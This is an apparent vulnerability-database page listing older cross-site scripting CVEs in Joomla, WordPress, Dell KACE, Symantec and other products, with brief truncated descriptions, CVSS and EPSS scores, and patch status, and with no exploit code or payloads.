Cross-site scripting (XSS) vulnerability in the JoomShopping (com_joomshopping) component before 4.3.1 for Joomla!. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Joomshopping
NVD
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in CTERA Cloud Storage OS before 3.2.29.0, 3.2.42.0, and earlier allows remote attackers to inject arbitrary web script or HTML via the description in a. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Cloud Storage Os
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in synetics i-doit open 0.9.9-7, i-doit pro 1.0 and earlier, and i-doit pro 1.0.2 when the 'sanitize user input' flag is not enabled, allow remote. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS I Doit
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the management console on the Symantec Web Gateway (SWG) appliance before 5.2 allow remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Web Gateway
NVD
EPSS 1% CVSS 4.3
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in ZeroClipboard.swf in ZeroClipboard before 1.3.2, as maintained by Jon Rohan and James M. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Openshift Zeroclipboard
NVD GitHub
EPSS 0% CVSS 4.3
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in Command School Student Management System 1.06.01 allow remote attackers to inject arbitrary web script or HTML via the (1) topic parameter to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Command School Student Management System
NVD
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in adminui/user_list.php on the Dell KACE K1000 management appliance 5.5.90545 allows remote attackers to inject arbitrary web script or HTML via the LABEL_ID. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP Dell XSS +2
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in D-Link DAP-2253 Access Point (Rev. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

D-Link XSS Dap 2253 Firmware +1
NVD
EPSS 8% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in the Download Manager plugin before 2.5.9 for WordPress allows remote attackers to inject arbitrary web script or HTML via the title field. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

WordPress XSS Download Manager
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in GuppY before 4.6.28 allow remote attackers to inject arbitrary web script or HTML via the (1) "an" parameter to agenda.php or (2) cat parameter. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Guppy
NVD
EPSS 0% CVSS 5.0
MEDIUM This Month

Mozilla Firefox before 27.0 and SeaMonkey before 2.24 allow remote attackers to bypass the Same Origin Policy and obtain sensitive information by using an IFRAME element in conjunction with certain. Rated medium severity (CVSS 5.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Mozilla XSS Solaris +7
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39348

Related CWEs

MITRE ATT&CK

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